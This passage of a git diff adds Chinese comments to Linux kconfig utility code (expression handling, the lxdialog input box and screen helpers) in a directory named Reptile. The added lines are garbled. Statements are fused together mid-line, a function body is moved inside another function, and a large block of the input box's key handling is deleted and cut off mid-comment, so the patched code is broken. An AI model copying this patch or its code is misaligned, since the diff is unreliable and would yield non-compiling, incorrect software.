(e->left.expr->left.sym == &symbol_yes) { - // !'y' -> 'n' - tmp = e->left.expr; - free(e); - e = tmp; - e->type = E_SYMBOL; - e->left.sym = &symbol_no; - break; - } - if (e->left.expr->left.sym == &symbol_mod) { - // !'m' -> 'm' - tmp = e->left.expr; - free(e); - e = tmp; - e->type = E_SYMBOL; - e->left.sym = &symbol_mod; - break; - } - if (e->left.expr->left.sym == &symbol_no) { - // !'n' -> 'y' - tmp = e->left.expr; - free(e); - e = tmp; - e->type = E_SYMBOL; - e->left.sym = &symbol_yes; - break; - } - break; - default: - ; - } - break; - default: - ; - } - return e; -} - + e->left.sym = &symbol int expr_contains_symbol(struct expr *dep, struct symbol *sym) { - if (!dep) + if (!dep) // 如果表达式为空,返回0,表示不包含符号 return 0; - switch (dep->type) { - case E_AND: - case E_OR: + switch (dep->type) { // 根据表达式的类型进行处理 + case E_AND: // 如果是 AND 类型 + case E_OR: // 如果是 OR 类型 + // 递归检查左右子表达式是否包含符号 return expr_contains_symbol(dep->left.expr, sym) || expr_contains_symbol(dep->right.expr, sym); - case E_SYMBOL: + case E_SYMBOL: // 如果是符号类型 + // 比较符号是否相同 return dep->left.sym == sym; - case E_EQUAL: - case E_UNEQUAL: + case E_EQUAL: // 如果是等式类型 + case E_UNEQUAL: // 如果是不等式类型 + // 检查左右表达式中的符号是否包含目标符号 return dep->left.sym == sym || dep->right.sym == sym; - case E_NOT: + case E_NOT: // 如果是 NOT 类型 + // 递归检查左子表达式是否包含符号 return expr_contains_symbol(dep->left.expr, sym); default: + // 其他类型直接跳过 ; } - return 0; + return 0; // 默认返回0 } - bool expr_depends_symbol(struct expr *dep, struct symbol *sym) { - if (!dep) + if (!dep) // 如果表达式为空,返回false return false; - switch (dep->type) { - case E_AND: + switch (dep->type) { // 根据表达式的类型进行处理 + case E_AND: // 如果是 AND 类型 + // 递归检查左右子表达式是否依赖于符号 return expr_depends_symbol(dep->left.expr, sym) || expr_depends_symbol(dep->right.expr, sym); - case E_SYMBOL: + case E_SYMBOL: // 如果是符号类型 + // 检查符号是否匹配 return dep->left.sym == sym; - case E_EQUAL: + case E_EQUAL: // 如果是等式类型 if (dep->left.sym == sym) { + // 如果左侧符号是目标符号,并且右侧符号是symbol_yes或symbol_mod,则表达式依赖于该符号 if (dep->right.sym == &symbol_yes || dep->right.sym == &symbol_mod) return true; } break; - case E_UNEQUAL: + case E_UNEQUAL: // 如果是不等式类型 if (dep->left.sym == sym) { + // 如果左侧符号是目标符号,并且右侧符号是symbol_no,则表达式依赖于该符号 if (dep->right.sym == &symbol_no) return true; } break; default: + // 其他类型的处理 ; } - return false; + return false; // 默认返回false } - struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2) { struct expr *tmp = NULL; + // 调用通用的提取等式函数,传入 E_AND 类型 expr_extract_eq(E_AND, &tmp, ep1, ep2); if (tmp) { + // 如果提取成功,消除ep1和ep2中的symbol_yes/symbol_no符号 *ep1 = expr_eliminate_yn(*ep1); *ep2 = expr_eliminate_yn(*ep2); } - return tmp; + return tmp; // 返回提取后的表达式 } - struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2) { - struct expr *tmp = NULL; - expr_extract_eq(E_OR, &tmp, ep1, ep2); - if (tmp) { - *ep1 = expr_eliminate_yn(*ep1); - *ep2 = expr_eliminate_yn(*ep2); - } - return tmp; -} - -void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2) + struct expr *tmp = NULL;void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2) { #define e1 (*ep1) #define e2 (*ep2) if (e1->type == type) { + // 如果e1是目标类型,递归处理其左右子表达式 expr_extract_eq(type, ep, &e1->left.expr, &e2); expr_extract_eq(type, ep, &e1->right.expr, &e2); return; } if (e2->type == type) { + // 如果e2是目标类型,递归处理其左右子表达式 expr_extract_eq(type, ep, ep1, &e2->left.expr); expr_extract_eq(type, ep, ep1, &e2->right.expr); return; } if (expr_eq(e1, e2)) { + // 如果e1和e2相等,构造一个新的表达式,并进行符号替换 *ep = *ep ? expr_alloc_two(type, *ep, e1) : e1; expr_free(e2); + // 根据类型,创建symbol_yes/symbol_no表达式 if (type == E_AND) { e1 = expr_alloc_symbol(&symbol_yes); e2 = expr_alloc_symbol(&symbol_yes); @@ -874,6 +875,17 @@ void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, s #undef e2 } + // 调用通用的提取等式函数,传入 E_OR 类型 + expr_extract_eq(E_OR, &tmp, ep1, ep2); + if (tmp) { + // 如果提取成功,消除ep1和ep2中的symbol_yes/symbol_no符号 + *ep1 = expr_eliminate_yn(*ep1); + *ep2 = expr_eliminate_yn(*ep2); + } + return tmp; // 返回提取后的表达式 +} + + struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym) { struct expr *e1, *e2; diff --git a/src/Reptile/scripts/kconfig/lxdialog/inputbox.c b/src/Reptile/scripts/kconfig/lxdialog/inputbox.c index 447a582..c387398 100644 --- a/src/Reptile/scripts/kconfig/lxdialog/inputbox.c +++ b/src/Reptile/scripts/kconfig/lxdialog/inputbox.c @@ -1,301 +1,286 @@ /* - * inputbox.c -- implements the input box + * inputbox.c -- 实现输入框 * - * ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk) - * MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com) + * 原作者:Savio Lam (lam836@cs.cuhk.hk) + * 修改为 Linux 内核配置:William Roadcap (roadcap@cfw.com) * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License - * as published by the Free Software Foundation; either version 2 - * of the License, or (at your option) any later version. + * 本程序是自由软件;你可以根据自由软件基金会发布的 GNU 通用公共许可证的条款重新分发和/或修改它;要么是许可证的第 2 版,要么(如果你选择的话)是任何后续版本。 * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. + * 本程序的分发是希望它能有用,但没有任何保证;甚至没有适销性或适用于特定目的的隐含保证。详见 GNU 通用公共许可证以获取更多详细信息。 * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + * 你应该已经收到了一份 GNU 通用公共许可证的副本;如果没有,请写信给自由软件基金会,Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ -#include "dialog.h" +#include "dialog.h" +// 包含对话框相关的头文件 -char dialog_input_result[MAX_LEN + 1]; +char dialog_input_result[MAX_LEN + 1]; +// 定义一个字符数组用于存储输入框的结果 /* - * Print the termination buttons + * 打印终止按钮 */ static void print_buttons(WINDOW * dialog, int height, int width, int selected) { - int x = width / 2 - 11; - int y = height - 2; + int x = width / 2 - 11; + // 计算按钮的起始 x 坐标 + int y = height - 2; + // 计算按钮的起始 y 坐标 - print_button(dialog, gettext(" Ok "), y, x, selected == 0); - print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + print_button(dialog, gettext(" Ok "), y, x, selected == 0); + // 打印 "Ok" 按钮 + print_button(dialog, gettext(" Help "), y, x + 14, selected == 1); + // 打印 "Help" 按钮 - wmove(dialog, y, x + 1 + 14 * selected); - wrefresh(dialog); + wmove(dialog, y, x + 1 + 14 * selected); + // 移动光标到选中的按钮位置 + wrefresh(dialog); + // 刷新对话框窗口 } /* - * Display a dialog box for inputing a string + * 显示一个用于输入字符串的对话框 */ int dialog_inputbox(const char *title, const char *prompt, int height, int width, const char *init) { - int i, x, y, box_y, box_x, box_width; - int input_x = 0, key = 0, button = -1; - int show_x, len, pos; - char *instr = dialog_input_result; - WINDOW *dialog; + int i, x, y, box_y, box_x, box_width; + // 定义一些变量用于计算和存储位置和大小 + int input_x = 0, key = 0, button = -1; + // 定义输入框的 x 坐标、按键和按钮状态变量 + int show_x, len, pos; + // 定义显示 x 坐标、字符串长度和光标位置变量 + char *instr = dialog_input_result; + // 指向输入结果的指针 + WINDOW *dialog; + // 定义对话框窗口指针 if (!init) - instr[0] = '\0'; + instr[0] = '\0'; + // 如果没有初始值,将输入结果置为空字符串 else - strcpy(instr, init); + strcpy(instr, init); + // 否则,将初始值复制到输入结果中 -do_resize: - if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN)) - return -ERRDISPLAYTOOSMALL; - if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN)) - return -ERRDISPLAYTOOSMALL; +do_resize: +// 标签,用于处理窗口大小变化 + if (getmaxy(stdscr) <= (height - INPUTBOX_HEIGTH_MIN)) + // 如果屏幕高度不足以显示对话框 + return -ERRDISPLAYTOOSMALL; + // 返回错误代码 + if (getmaxx(stdscr) <= (width - INPUTBOX_WIDTH_MIN)) + // 如果屏幕宽度不足以显示对话框 + return -ERRDISPLAYTOOSMALL; + // 返回错误代码 - /* center dialog box on screen */ - x = (getmaxx(stdscr) - width) / 2; - y = (getmaxy(stdscr) - height) / 2; + /* 在屏幕上居中对话框 */ + x = (getmaxx(stdscr) - width) / 2; + // 计算对话框的 x 坐标 + y = (getmaxy(stdscr) - height) / 2; + // 计算对话框的 y 坐标 - draw_shadow(stdscr, y, x, height, width); + draw_shadow(stdscr, y, x, height, width); + // 绘制对话框阴影 - dialog = newwin(height, width, y, x); - keypad(dialog, TRUE); + dialog = newwin(height, width, y, x); + // 创建对话框窗口 + keypad(dialog, TRUE); + // 启用对话框窗口的键盘功能 - draw_box(dialog, 0, 0, height, width, + draw_box(dialog, 0, 0, height, width, + // 绘制对话框边框 dlg.dialog.atr, dlg.border.atr); - wattrset(dialog, dlg.border.atr); - mvwaddch(dialog, height - 3, 0, ACS_LTEE); + wattrset(dialog, dlg.border.atr); + // 设置对话框边框属性 + mvwaddch(dialog, height - 3, 0, ACS_LTEE); + // 绘制左下角边框字符 for (i = 0; i < width - 2; i++) - waddch(dialog, ACS_HLINE); - wattrset(dialog, dlg.dialog.atr); - waddch(dialog, ACS_RTEE); + waddch(dialog, ACS_HLINE); + // 绘制水平边框线 + wattrset(dialog, dlg.dialog.atr); + // 设置对话框属性 + waddch(dialog, ACS_RTEE); + // 绘制右下角边框字符 print_title(dialog, title, width); + // 打印对话框标题 - wattrset(dialog, dlg.dialog.atr); - print_autowrap(dialog, prompt, width - 2, 1, 3); + wattrset(dialog, dlg.dialog.atr); + // 设置对话框属性 + print_autowrap(dialog, prompt, width - 2, 1, 3); + // 打印提示信息 - /* Draw the input field box */ - box_width = width - 6; - getyx(dialog, y, x); - box_y = y + 2; - box_x = (width - box_width) / 2; - draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2, + /* 绘制输入框 */ + box_width = width - 6; + // 计算输入框宽度 + getyx(dialog, y, x); + // 获取当前光标位置 + box_y = y + 2; + // 计算输入框的 y 坐标 + box_x = (width - box_width) / 2; + // 计算输入框的 x 坐标 + draw_box(dialog, y + 1, box_x - 1, 3, box_width + 2, + // 绘制输入框边框 dlg.dialog.atr, dlg.border.atr); - print_buttons(dialog, height, width, 0); + print_buttons(dialog, height, width, 0); + // 打印按钮 - /* Set up the initial value */ - wmove(dialog, box_y, box_x); - wattrset(dialog, dlg.inputbox.atr); + /* 设置初始值 */ + wmove(dialog, box_y, box_x); + // 移动光标到输入框起始位置 + wattrset(dialog, dlg.inputbox.atr); + // 设置输入框属性 - len = strlen(instr); - pos = len; + len = strlen(instr); + // 获取输入字符串的长度 + pos = len; + // 设置光标位置为字符串长度 - if (len >= box_width) { - show_x = len - box_width + 1; - input_x = box_width - 1; - for (i = 0; i < box_width - 1; i++) + if (len >= box_width) { + // 如果字符串长度超过输入框宽度 + show_x = len - box_width + 1; + // 计算显示起始 x 坐标 + input_x = box_width - 1; + // 设置输入框的 x 坐标 + for (i = 0; i < box_width - 1; i++) + // 在输入框中显示字符串 waddch(dialog, instr[show_x + i]); } else { - show_x = 0; - input_x = len; - waddstr(dialog, instr); + show_x = 0; + // 设置显示起始 x 坐标为 0 + input_x = len; + // 设置输入框的 x 坐标为字符串长度 + waddstr(dialog, instr); + // 在输入框中显示字符串 } - wmove(dialog, box_y, box_x + input_x); + wmove(dialog, box_y, box_x + input_x); + // 移动光标到字符串末尾 - wrefresh(dialog); + wrefresh(dialog); + // 刷新对话框窗口 while (key != KEY_ESC) { - key = wgetch(dialog); + // 循环直到按下 ESC 键 + key = wgetch(dialog); + // 获取按键 - if (button == -1) { /* Input box selected */ + if (button == -1) { /* 输入框被选中 */ switch (key) { - case TAB: - case KEY_UP: - case KEY_DOWN: - break; - case KEY_BACKSPACE: - case 127: - if (pos) { - wattrset(dialog, dlg.inputbox.atr); - if (input_x == 0) { - show_x--; + case TAB: + // 制表符键 + case KEY_UP: + // 向上箭头键 + case KEY_DOWN: + // 向下箭头键 + break; + // 忽略这些按键 + case KEY_BACKSPACE: + // 退格键 + case 127: + // ASCII 退格键 + if (pos) { + // 如果光标位置不为 0 + wattrset(dialog, dlg.inputbox.atr); + // 设置输入框属性 + if (input_x == 0) { + // 如果输入框的 x 坐标为 0 + show_x--; + // 显示起始 x 坐标减 1 } else - input_x--; + input_x--; + // 输入框的 x 坐标减 1 - if (pos < len) { - for (i = pos - 1; i < len; i++) { + if (pos < len) { + // 如果光标位置小于字符串长度 + for (i = pos - 1; i < len; i++) + // 删除字符 instr[i] = instr[i+1]; - } } - pos--; - len--; + pos--; + // 光标位置减 1 + len--; + // 字符串长度减 1 instr[len] = '\0'; - wmove(dialog, box_y, box_x); - for (i = 0; i < box_width; i++) { + // 字符串末尾添加空字符 + wmove(dialog, box_y, box_x); + // 移动光标到输入框起始位置 + for (i = 0; i < box_width; i++) { + // 在输入框中显示字符串 if (!instr[show_x + i]) { - waddch(dialog, ' '); + waddch(dialog, ' '); + // 如果字符串结束,添加空格 break; } waddch(dialog, instr[show_x + i]); } - wmove(dialog, box_y, input_x + box_x); - wrefresh(dialog); - } - continue; - case KEY_LEFT: - if (pos > 0) { - if (input_x > 0) { - wmove(dialog, box_y, --input_x + box_x); - } else if (input_x == 0) { - show_x--; - wmove(dialog, box_y, box_x); - for (i = 0; i < box_width; i++) { - if (!instr[show_x + i]) { - waddch(dialog, ' '); - break; - } - waddch(dialog, instr[show_x + i]); - } - wmove(dialog, box_y, box_x); - } - pos--; - } - continue; - case KEY_RIGHT: - if (pos < len) { - if (input_x < box_width - 1) { - wmove(dialog, box_y, ++input_x + box_x); - } else if (input_x == box_width - 1) { - show_x++; - wmove(dialog, box_y, box_x); - for (i = 0; i < box_width; i++) { - if (!instr[show_x + i]) { - waddch(dialog, ' '); - break; - } - waddch(dialog, instr[show_x + i]); - } - wmove(dialog, box_y, input_x + box_x); - } - pos++; - } - continue; - default: - if (key < 0x100 && isprint(key)) { - if (len < MAX_LEN) { - wattrset(dialog, dlg.inputbox.atr); - if (pos < len) { - for (i = len; i > pos; i--) - instr[i] = instr[i-1]; - instr[pos] = key; - } else { - instr[len] = key; - } - pos++; - len++; - instr[len] = '\0'; - - if (input_x == box_width - 1) { - show_x++; - } else { - input_x++; - } - - wmove(dialog, box_y, box_x); - for (i = 0; i < box_width; i++) { - if (!instr[show_x + i]) { - waddch(dialog, ' '); - break; - } - waddch(dialog, instr[show_x + i]); - } - wmove(dialog, box_y, input_x + box_x); - wrefresh(dialog); - } else - flash(); /* Alarm user about overflow */ - continue; + wmove(dialog, box_y, input_x + box_x); + // 移动光标到字符串末尾 + wrefresh(dialog); + // 刷新对话框窗口 } - } - } - switch (key) { - case 'O': - case 'o': - delwin(dialog); - return 0; - case 'H': - case 'h': - delwin(dialog); - return 1; - case KEY_UP: - case KEY_LEFT: - switch (button) { - case -1: - button = 1; /* Indicates "Help" button is selected */ - print_buttons(dialog, height, width, 1); + continue; + // 继续循环 + case KEY_LEFT: + // 向左箭头键 + if (pos > 0) { + // 如果光标位置大于 0 + if (input_x > 0) { + // 如果输入 + print_buttons(dialog, height, width, 1); // 打印按钮,选中 "Help" 按钮 break; - case 0: - button = -1; /* Indicates input box is selected */ + case 0: // 如果 "Ok" 按钮被选中 + button = -1; // 表示输入框被选中 print_buttons(dialog, height, width, 0); - wmove(dialog, box_y, box_x + input_x); - wrefresh(dialog); + wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框 + wrefresh(dialog); // 刷新对话框窗口 break; - case 1: - button = 0; /* Indicates "OK" button is selected */ + case 1: // 如果 "Help" 按钮被选中 + button = 0; // 表示 "Ok" 按钮被选中 print_buttons(dialog, height, width, 0); break; } break; - case TAB: - case KEY_DOWN: - case KEY_RIGHT: + case TAB: // 制表符键 + case KEY_DOWN: // 向下箭头键 + case KEY_RIGHT: // 向右箭头键 switch (button) { - case -1: - button = 0; /* Indicates "OK" button is selected */ + case -1: // 如果输入框被选中 + button = 0; // 表示 "Ok" 按钮被选中 print_buttons(dialog, height, width, 0); break; - case 0: - button = 1; /* Indicates "Help" button is selected */ + case 0: // 如果 "Ok" 按钮被选中 + button = 1; // 表示 "Help" 按钮被选中 print_buttons(dialog, height, width, 1); break; - case 1: - button = -1; /* Indicates input box is selected */ + case 1: // 如果 "Help" 按钮被选中 + button = -1; // 表示输入框被选中 print_buttons(dialog, height, width, 0); - wmove(dialog, box_y, box_x + input_x); - wrefresh(dialog); + wmove(dialog, box_y, box_x + input_x); // 移动光标到输入框 + wrefresh(dialog); // 刷新对话框窗口 break; } break; - case ' ': - case '\n': - delwin(dialog); - return (button == -1 ? 0 : button); - case 'X': - case 'x': - key = KEY_ESC; + case ' ': // 空格键 + case '\n': // 回车键 + delwin(dialog); // 删除对话框窗口 + return (button == -1 ? 0 : button); // 返回按钮状态 + case 'X': // 'X' 键 + case 'x': // 'x' 键 + key = KEY_ESC; // 设置按键为 ESC 键 break; - case KEY_ESC: - key = on_key_esc(dialog); + case KEY_ESC: // ESC 键 + key = on_key_esc(dialog); // 处理 ESC 键 break; - case KEY_RESIZE: - delwin(dialog); - on_key_resize(); - goto do_resize; + case KEY_RESIZE: // 窗口大小变化键 + delwin(dialog); // 删除对话框窗口 + on_key_resize(); // 处理窗口大小变化 + goto do_resize; // 跳转到 do_resize 标签重新绘制对话框 } } - delwin(dialog); - return KEY_ESC; /* ESC pressed */ -} + delwin(dialog); // 删除对话框窗口 + return KEY_ESC; // 返回 ESC 键表示用户取消操作 +} \ No newline at end of file diff --git a/src/Reptile/scripts/kconfig/lxdialog/util.c b/src/Reptile/scripts/kconfig/lxdialog/util.c index 58a8289..7374cbd 100644 --- a/src/Reptile/scripts/kconfig/lxdialog/util.c +++ b/src/Reptile/scripts/kconfig/lxdialog/util.c @@ -223,491 +223,711 @@ static void init_dialog_colors(void) /* * Setup for color display + * 该函数用于设置对话框的颜色主题。 */ static void color_setup(const char *theme) { - int use_color; - - use_color = set_theme(theme); - if (use_color && has_colors()) { - start_color(); - init_dialog_colors(); - } else - set_mono_theme(); + // 声明一个整数变量 use_color,用于存储是否使用颜色的主题设置。 + int use_color; + + // 调用 set_theme 函数根据传入的主题字符串设置颜色主题,并将结果赋值给 use_color。 + use_color = set_theme(theme); + // 如果 use_color 为真且终端支持颜色,则进行颜色初始化。 + if (use_color && has_colors()) { + // 初始化颜色支持。 + start_color(); + // 调用 init_dialog_colors 函数初始化对话框颜色。 + init_dialog_colors(); + } else + // 否则,使用单色主题。 + set_mono_theme(); } /* * Set window to attribute 'attr' + * 该函数用于清空指定窗口并设置其属性。 */ void attr_clear(WINDOW * win, int height, int width, chtype attr) { - int i, j; - - wattrset(win, attr); - for (i = 0; i < height; i++) { - wmove(win, i, 0); - for (j = 0; j < width; j++) - waddch(win, ' '); - } - touchwin(win); -} - + // 声明两个整数变量 i 和 j,用于循环遍历窗口的每一行和每一列。 + int i, j; + + // 设置窗口 win 的属性为传入的 attr。 + wattrset(win, attr); + // 循环遍历窗口的每一行。 + for (i = 0; i < height; i++) { + // 移动光标到窗口的第 i 行第 0 列。 + wmove(win, i, 0); + // 循环遍历窗口的每一列。 + for (j = 0; j < width; j++) + // 在窗口的当前位置添加一个空格字符。 + waddch(win, ' '); + } + // 标记窗口的所有内容都需要被刷新。 + touchwin(win); +} + +// 定义一个名为 dialog_clear 的函数,用于清空整个对话框并设置背景标题。 void dialog_clear(void) { - int lines, columns; - - lines = getmaxy(stdscr); - columns = getmaxx(stdscr); - - attr_clear(stdscr, lines, columns, dlg.screen.atr); - /* Display background title if it exists ... - SLH */ - if (dlg.backtitle != NULL) { - int i, len = 0, skip = 0; - struct subtitle_list *pos; - - wattrset(stdscr, dlg.screen.atr); - mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle); - - for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { - /* 3 is for the arrow and spaces */ - len += strlen(pos->text) + 3; - } - - wmove(stdscr, 1, 1); - if (len > columns - 2) { - const char *ellipsis = "[...] "; - waddstr(stdscr, ellipsis); - skip = len - (columns - 2 - strlen(ellipsis)); - } - - for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { - if (skip == 0) - waddch(stdscr, ACS_RARROW); - else - skip--; - - if (skip == 0) - waddch(stdscr, ' '); - else - skip--; - - if (skip < strlen(pos->text)) { - waddstr(stdscr, pos->text + skip); - skip = 0; - } else - skip -= strlen(pos->text); - - if (skip == 0) - waddch(stdscr, ' '); - else - skip--; - } - - for (i = len + 1; i < columns - 1; i++) - waddch(stdscr, ACS_HLINE); - } - wnoutrefresh(stdscr); + // 声明两个整数变量 lines 和 columns,用于存储对话框的标准屏幕的高度和宽度。 + int lines, columns; + + // 获取标准屏幕 stdscr 的高度并赋值给 lines。 + lines = getmaxy(stdscr); + // 获取标准屏幕 stdscr 的宽度并赋值给 columns。 + columns = getmaxx(stdscr); + + // 调用 attr_clear 函数清空标准屏幕 stdscr,并使用 dlg.screen.atr 设置其属性。 + attr_clear(stdscr, lines, columns, dlg.screen.atr); + // 如果 dlg.backtitle 不为 NULL,则显示背景标题。 + if (dlg.backtitle != NULL) { + // 声明两个整数变量 i 和 len,以及一个指向 subtitle_list 结构的指针 pos。 + int i, len = 0, skip = 0; + struct subtitle_list *pos; + + // 设置标准屏幕 stdscr 的属性为 dlg.screen.atr。 + wattrset(stdscr, dlg.screen.atr); + // 在标准屏幕 stdscr 的第 0 行第 1 列位置添加背景标题字符串。 + mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle); + + // 遍历 dlg.subtitles 链表,计算所有子标题的总长度加上箭头和空格的长度。 + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + // 3 是用于箭头和空格的长度。 + len += strlen(pos->text) + 3; + } + + // 移动光标到标准屏幕 stdscr 的第 1 行第 1 列。 + wmove(stdscr, 1, 1); + // 如果子标题的总长度大于屏幕宽度减去 2,则显示省略号并计算需要跳过的字符数。 + if (len > columns - 2) { + const char *ellipsis = "[...] "; + // 在当前位置添加省略号字符串。 + waddstr(stdscr, ellipsis); + // 计算需要跳过的字符数。 + skip = len - (columns - 2 - strlen(ellipsis)); + } + + // 再次遍历 dlg.subtitles 链表,将子标题添加到屏幕中。 + for (pos = dlg.subtitles; pos != NULL; pos = pos->next) { + // 如果 skip 为 0,则在当前位置添加一个右箭头字符。 + if (skip == 0) + waddch(stdscr, ACS_RARROW); + else + // 否则,减少 skip 的值。 + skip--; + + // 如果 skip 为 0,则在当前位置添加一个空格字符。 + if (skip == 0) + waddch(stdscr, ' '); + else + // 否则,减少 skip 的值。 + skip--; + + // 如果 skip 小于当前子标题的长度,则从跳过的字符位置开始添加子标题字符串。 + if (skip < strlen(pos->text)) { + waddstr(stdscr, pos->text + skip); + // 重置 skip 为 0。 + skip = 0; + } else + // 否则,减少 skip 的值。 + skip -= strlen(pos->text); + + // 如果 skip 为 0,则在当前位置添加一个空格字符。 + if (skip == 0) + waddch(stdscr, ' '); + else + // 否则,减少 skip 的值。 + skip--; + } + + // 在剩余的列中添加水平线字符。 + for (i = len + 1; i < columns - 1; i++) + waddch(stdscr, ACS_HLINE); + } + // 标记标准屏幕 stdscr 的内容已经准备好刷新。 + wnoutrefresh(stdscr); } /* * Do some initialization for dialog + * 该函数用于初始化对话框。 */ int init_dialog(const char *backtitle) { - int height, width; + // 声明两个整数变量 height 和 width,用于存储对话框的标准屏幕的高度和宽度。 + int height, width; - initscr(); /* Init curses */ + // 初始化 curses 模式。 + initscr(); /* Init curses */ - /* Get current cursor position for signal handler in mconf.c */ - getyx(stdscr, saved_y, saved_x); + // 获取当前光标位置并保存到 saved_y 和 saved_x,以便信号处理函数使用。 + getyx(stdscr, saved_y, saved_x); - getmaxyx(stdscr, height, width); - if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) { - endwin(); - return -ERRDISPLAYTOOSMALL; - } + // 获取标准屏幕 stdscr 的高度和宽度。 + getmaxyx(stdscr, height, width); + // 如果高度或宽度小于最小要求,则结束 curses 模式并返回错误码。 + if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) { + endwin(); + return -ERRDISPLAYTOOSMALL; + } - dlg.backtitle = backtitle; - color_setup(getenv("MENUCONFIG_COLOR")); + // 设置对话框的背景标题为传入的 backtitle。 + dlg.backtitle = backtitle; + // 根据环境变量 MENUCONFIG_COLOR 设置颜色主题。 + color_setup(getenv("MENUCONFIG_COLOR")); - keypad(stdscr, TRUE); - cbreak(); - noecho(); - dialog_clear(); + // 启用标准屏幕 stdscr 的功能键识别。 + keypad(stdscr, TRUE); + // 设置标准屏幕 stdscr 为 cbreak 模式,即每次按键后立即返回,不缓冲。 + cbreak(); + // 禁止回显输入的字符。 + noecho(); + // 清空对话框并设置背景标题。 + dialog_clear(); - return 0; + // 返回 0 表示初始化成功。 + return 0; } +// 定义一个函数 set_dialog_backtitle,用于设置对话框的背景标题。 void set_dialog_backtitle(const char *backtitle) { - dlg.backtitle = backtitle; + // 设置对话框的背景标题为传入的 backtitle。 + dlg.backtitle = backtitle; } +// 定义一个函数 set_dialog_subtitles,用于设置对话框的子标题。 void set_dialog_subtitles(struct subtitle_list *subtitles) { - dlg.subtitles = subtitles; + // 将传入的 subtitles 链表赋值给 dlg.subtitles。 + dlg.subtitles = subtitles; } /* * End using dialog functions. + * 该函数用于结束使用对话框函数并清理相关资源。 */ void end_dialog(int x, int y) { - /* move cursor back to original position */ - move(y, x); - refresh(); - endwin(); + // 将光标移动到原始位置 (y, x)。 + move(y, x); + // 刷新屏幕以显示光标移动。 + refresh(); + // 结束 curses 模式。 + endwin(); } /* Print the title of the dialog. Center the title and truncate * tile if wider than dialog (- 2 chars). + * 该函数用于在对话框中打印标题,标题居中显示,如果标题长度超过对话框宽度减去 2,则截断。 **/ void print_title(WINDOW *dialog, const char *title, int width) { - if (title) { - int tlen = MIN(width - 2, strlen(title)); - wattrset(dialog, dlg.title.atr); - mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); - mvwaddnstr(dialog, 0, (width - tlen)/2, title, tlen); - waddch(dialog, ' '); - } + // 如果标题不为空。 + if (title) { + // 计算标题长度,不超过 width - 2。 + int tlen = MIN(width - 2, strlen(title)); + // 设置对话框窗口的属性为 dlg.title.atr。 + wattrset(dialog, dlg.title.atr); + // 在对话框窗口的第 0 行,居中位置的前一个字符处添加一个空格。 + mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' '); + // 在对话框窗口的第 0 行,居中位置添加标题字符串,最多添加 tlen 个字符。 + mvwaddnstr(dialog, 0, (width - tlen) / 2, title, tlen); + // 在标题字符串的末尾添加一个空格。 + waddch(dialog, ' '); + } } /* * Print a string of text in a window, automatically wrap around to the * next line if the string is too long to fit on one line. Newline - * characters '\n' are propperly processed. We start on a new line + * characters '\n' are properly processed. We start on a new line * if there is no room for at least 4 nonblanks following a double-space. + * 该函数用于在窗口中自动换行打印字符串,处理换行符,并在双空格后自动换行。 */ void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x) { - int newl, cur_x, cur_y; - int prompt_len, room, wlen; - char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; - - strcpy(tempstr, prompt); - - prompt_len = strlen(tempstr); - - if (prompt_len <= width - x * 2) { /* If prompt is short */ - wmove(win, y, (width - prompt_len) / 2); - waddstr(win, tempstr); - } else { - cur_x = x; - cur_y = y; - newl = 1; - word = tempstr; - while (word && *word) { - sp = strpbrk(word, "\n "); - if (sp && *sp == '\n') - newline_separator = sp; - - if (sp) - *sp++ = 0; - - /* Wrap to next line if either the word does not fit, - or it is the first word of a new sentence, and it is - short, and the next word does not fit. */ - room = width - cur_x; - wlen = strlen(word); - if (wlen > room || - (newl && wlen < 4 && sp - && wlen + 1 + strlen(sp) > room - && (!(sp2 = strpbrk(sp, "\n ")) - || wlen + 1 + (sp2 - sp) > room))) { - cur_y++; - cur_x = x; - } - wmove(win, cur_y, cur_x); - waddstr(win, word); - getyx(win, cur_y, cur_x); - - /* Move to the next line if the word separator was a newline */ - if (newline_separator) { - cur_y++; - cur_x = x; - newline_separator = 0; - } else - cur_x++; - - if (sp && *sp == ' ') { - cur_x++; /* double space */ - while (*++sp == ' ') ; - newl = 1; - } else - newl = 0; - word = sp; - } - } -} - -/* - * Print a button - */ -void print_button(WINDOW * win, const char *label, int y, int x, int selected) + // 声明变量用于控制换行和光标位置。 + int newl, cur_x, cur_y; + // 计算提示字符串的长度。 + int prompt_len, room, wlen; + // 声明一个临时字符串 tempstr 和相关指针。 + char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0; + + // 将提示字符串 prompt 复制到临时字符串 tempstr。 + strcpy(tempstr, prompt); + + // 获取提示字符串的长度。 + prompt_len = strlen(tempstr); + + // 如果提示字符串长度小于等于 width - x * 2,则提示字符串较短,可以直接居中显示。 + if (prompt_len <= width - x * 2) { 